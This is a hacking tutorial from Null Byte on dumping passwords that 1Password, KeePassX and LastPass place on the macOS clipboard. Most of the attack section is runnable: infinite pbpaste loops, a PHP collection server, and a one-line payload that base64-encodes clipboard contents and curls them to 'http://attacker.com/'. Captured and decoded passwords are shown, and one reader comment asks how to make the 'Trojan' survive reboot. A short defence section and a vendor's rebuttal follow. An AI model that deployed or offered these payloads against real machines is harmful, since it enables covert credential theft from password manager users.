Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext

How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext

KeePassX, 1Password, and LastPass are effective against keyloggers, phishing, and database breaches, but passwords managers rely on the operating system's clipboard to securely move credentials from the password vault to the web browser. It's within these few seconds that an attacker can dump the clipboard contents and exfiltrate passwords.

Two scenarios come to mind with a clipboard-dumping attack geared toward password managers, and both utilize the pbpaste command found in all versions of macOS. Pbpaste will take any data found in the clipboard (including passwords) and write it to the standard output. Any macOS user can try this by first copying a password to the clipboard then immediately typing pbpaste into a terminal.

It doesn't require special privileges to execute pbpaste, and the clipboard can be written to any file, as shown below. This affects KeePassX, 1Password, LastPass, and even Apple's own built-in iCloud Keychain password manager.

~$ pbpaste >>/tmp/clipboard.txt

Option 1: Dump the Clipboard Locally

Scenario: The attacker has established a persistent backdoor and wants to gather passwords stored in KeePassX, 1Password, or LastPass over a prolonged period. MacOS has become better about protecting against keyloggers, and anyone livestreaming the desktop couldn't unhide or reveal credentials stored in the password managers.

The attacker can dump the clipboard into a local file and occasionally check it for new passwords. An infinite while loop with a five second delay should do the trick.

~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; done

The while loop will execute pbpaste and pause (sleep) for five seconds. The command within the loop will repeat over and over again, repeatedly dumping anything found in the clipboard. An echo has been introduced to create a newline (\n) with every entry to prevent data from concatenating on the same line.

From an additional Netcat shell, use cat or tail to view the clipboard.txt file contents.

~$ tail -f /tmp/clipboard.txt

Tail will follow (-f) changes appended to the file and immediately print new content discovered in the clipboard.

Prevent the clipboard.txt file from flooding with duplicate lines by evaluating the clipboard contents and comparing it to the last entry in the file.

~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;done

Only if the current clipboard content is not equal (!=) to the last entry (tail -n1) in clipboard.txt will pbpaste update the file.

However, this solution is somewhat flawed. The if statement only compares the last line of the clipboard.txt file, so if there are multiple lines in the clipboard it'll fail to recognize it as a duplicate entry. But it serves its purpose for this article and most scenarios. You can spend a little time devising a robust, proper solution with this as the basic foundation.

Option 2: Exfiltrate Passwords to a Remote Server

Scenario: The attacker doesn't care to remotely access the MacBook. The payload is instead designed to exfiltrate the clipboard to the attacker's server at intervals.

In this scenario, the attacker only cares about exfiltrating the clipboard and hasn't backdoored the MacBook. Instead, they have found a way to remotely execute code on the target macOS device. Setting up this attack involves a PHP server controlled by the attacker used to intercept exfiltrated data. A Debian virtual private server is used in my example.

Step 1: Install PHP

To get started, install php with the following apt-get command, which will work in Debian and Kali Linux.

~# apt-get update && apt-get install php

Ign:1 http://http.us.debian.org/debian stretch InRelease
Hit:2 http://http.us.debian.org/debian stretch-updates InRelease
Hit:3 http://security.debian.org/debian-security stretch/updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php
  php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc
0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,209 kB of archives.
After this operation, 19.9 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Make a directory called "phpServer/" using the below mkdir command.

~# mkdir phpServer/

Change into the phpServer/ directory using the cd command.

~# cd phpServer/

Create a file called "index.php" with nano.

~/phpServer# nano index.php

Paste the below PHP code into the nano terminal. Once that's done, to save and exit the nano terminal, press Ctrl+x, then y, then Enter.

<?php
$input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX);
?>

This simple PHP server is capable of intercepting data and doesn't need to be modified in any way to function. When the MacBook sends the clipboard contents, the server will capture and append the data to a file called "clipboard.txt."

Finally, start the PHP server with the php -S 0.0.0.0:80 command.

~/phpServer# php -S 0.0.0.0:80

PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun  9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.

Step 2: Create the Payload

The below script will compare the current clipboard contents to the most recent sent to the attacker's server. For clarity, it's in standard shell script format to allow space for comments.

# While loop to dump the clipboard over and over again, infinitely.
while true; do

    # An `if` statement, compares the current clipboard
    # content to the content found in the last loop.
    if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then

        # A `p` to store the encoded clipboard contents. The
        # contents must be encoded before sending to the
        # attacker's server to prevent it from breaking the
        # proceeding curl command.
        p="$(echo $(pbpaste) | base64)"

        # Curl takes the encoded string and delivers it to
        # the attacker's server via POST request.
        curl --data "$p" -X POST 'http://attacker.com/'

        # The `pbpaste_last` variable is updated. This variable
        # is evaluated in the following loop.
        pbpaste_last="$(pbpaste)"

        # Delay for 5 seconds before checking the clipboard
        # for new contents. Decreasing this value will cause
        # the script to evaluate the clipboard more frequently,
        # but will have a negative impact on the MacBook's
        # CPU. Increasing the value may cause the script to
        # miss a valuable password. Adjust as needed.
        sleep 5
    fi
done

Compress the script into one line to have it fit conveniently into various types of stagers.

while true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; done

Step 3: Examine the Exfiltrated Data

As the PHP server receives clipboard data, it will indicate the origin of the data (IP address) as well as the date and time. Press Ctrl+c to stop the PHP server.

PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun  9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
[Sun Jun  9 09:03:23 2019] 23.129.64.153:63761 [200]: /
[Sun Jun  9 09:03:33 2019] 23.129.64.153:46089 [200]: /
[Sun Jun  9 09:03:50 2019] 23.129.64.184:13728 [200]: /
[Sun Jun  9 09:03:56 2019] 199.195.250.77:38894 [200]: /
[Sun Jun  9 09:04:02 2019] 199.195.250.77:40646 [200]: /
[Sun Jun  9 09:04:10 2019] 209.141.58.114:45602 [200]: /

View the clipboard.txt contents with cat to find the encoded passwords. KeePassX and 1Password automatically clear the clipboard after ten and thirty seconds, respectively. LastPass states it clears the clipboard "after a default amount of time." Empty deliveries from the MacBook appear as "Cg==" encoded.

~/phpServer# cat clipboard.txt

WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==

The following command will automatically decode all of the base64 strings in the clipboard.txt file. All of the below strings are passwords captured while using KeePassX, 1Password, and LastPass.

~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done

YT4n3M4sCpjpsTV7LkZoK

this is my password
PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~
YT4n3M4sCpjpsTV7LkZoK

YT4n3M4sCpjpsTV7LkZoK

Live Off the Land (Conclusion)

Penetration testers are encouraged to utilize as many resources already present in the compromised operating system (i.e., "living off the land"). Like cURL, Netcat, Bash, and LibreSSL, pbpaste is yet another built-in tool easily abused by a hacker during post-exploitation engagements.

Attackers will explore every avenue to discover a target's login passwords. Pbpaste makes dumping credentials stored in password managers almost too easy.

How to Protect Yourself from Clipboard Dumping

To prevent an attacker from having an opportunity to dump the clipboard, install the official 1Password browser extension or LastPass browser extension. They are available for all modern web browsers. For KeePassX users, similar browser extensions exist, but none have been officially audited or tested.

For 1Password, once the extension is installed, enable the "1Password Extension Helper" when prompted. Then, the helper would allow 1Password to autofill credentials while logging into websites. Autofill does not use the clipboard at all, therefore preventing a clipboard attack. The process is similar for the LastPass extension.

Keep in mind that neither work 100% of the time. Sometimes, it's necessary to copy passwords to the clipboard when autofill on a website does not work.

If you must copy a password, you can adjust the clipboard settings for the password manager. For instance, you can go open 1Password's preferences, select "Security," then enter a time in seconds by "Clear clipboard contents after." Make it as short as can be. In the hacks above, we used five-second intervals, so three or four seconds may be useful, but that doesn't mean a hacker won't be able to grab a password if it checks the clipboard at the right moment or if the time interval is decreased.

Overall, there is no built-in way to clear the clipboard on macOS after a set amount of time or as soon as an item is pasted, nor would it be advisable since the clipboard is used for more than just passwords.

You could build a Service for "Clear Clipboard" and assign it a keyboard shortcut like Command + Down Arrow. Then, you can manually clear the clipboard after pasting a password, so it's not sitting in there longer than necessary. Just build the Service with Automator, but use the following as the "Run Shell Script." However, you'd run into the same problem as described above about the clipboard being exfiltrated at the right moment or with a smaller interval before checks.

pbcopy </dev/null

If you enjoyed this article, follow me on Twitter @tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.

Cover photo and screenshots by tokyoneon/Null Byte

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

4 Comments

This is so simple but maybe brilliant.... Well done!

This is stupid. If an attacker has access to the clipboard they wouldn't wait around for a user to copy all their passwords. This is like a burglar coming in every day to steal the coins in your sofa - there are better things to steal while you're already in the home. If the attacker has full access to the computer all bets are off.

And I don't know why they single out KeePass or 1Password as this would affect every password manager or any app really.

Disclosure: I work for 1Password

Under normal use of 1Password, your passwords do not get pasted to the system clipboard. The communication between 1Password and your browser is not via the system clipboard, and so those credentials cannot be captured by sniffing the clipboard even if an attacker has gained enough power over your own computer to sniff content from the clipboard.

Note that using 1Password's browser extension not only dramatically reduces the need to use the clipboard for secrets, but it also helps protect you from phishing attacks, as 1Password will only fill passwords into web pages for the domain for which the password was created.

Of course there still we be occassions when you do need to use the system clipboard for secrets, including secrets that you may store in 1Password, and so this is why it is important to keep your systems free of malware. My advice for that is, as always,

  1. Keep your system and software up to date. (Most compromises of personal computers is through exploiting vulnerabilities that have already been patched by software and system vendors.)
  2. Use curated app stores where possible. This will dramatically reduce the chances that you will install malware, such as clip board scrapers, onto your own systems.

Great Article!
How you can add add a bash command on same script so the Trojan will be loaded on reboot!

Share Your Thoughts

  • Hot
  • Latest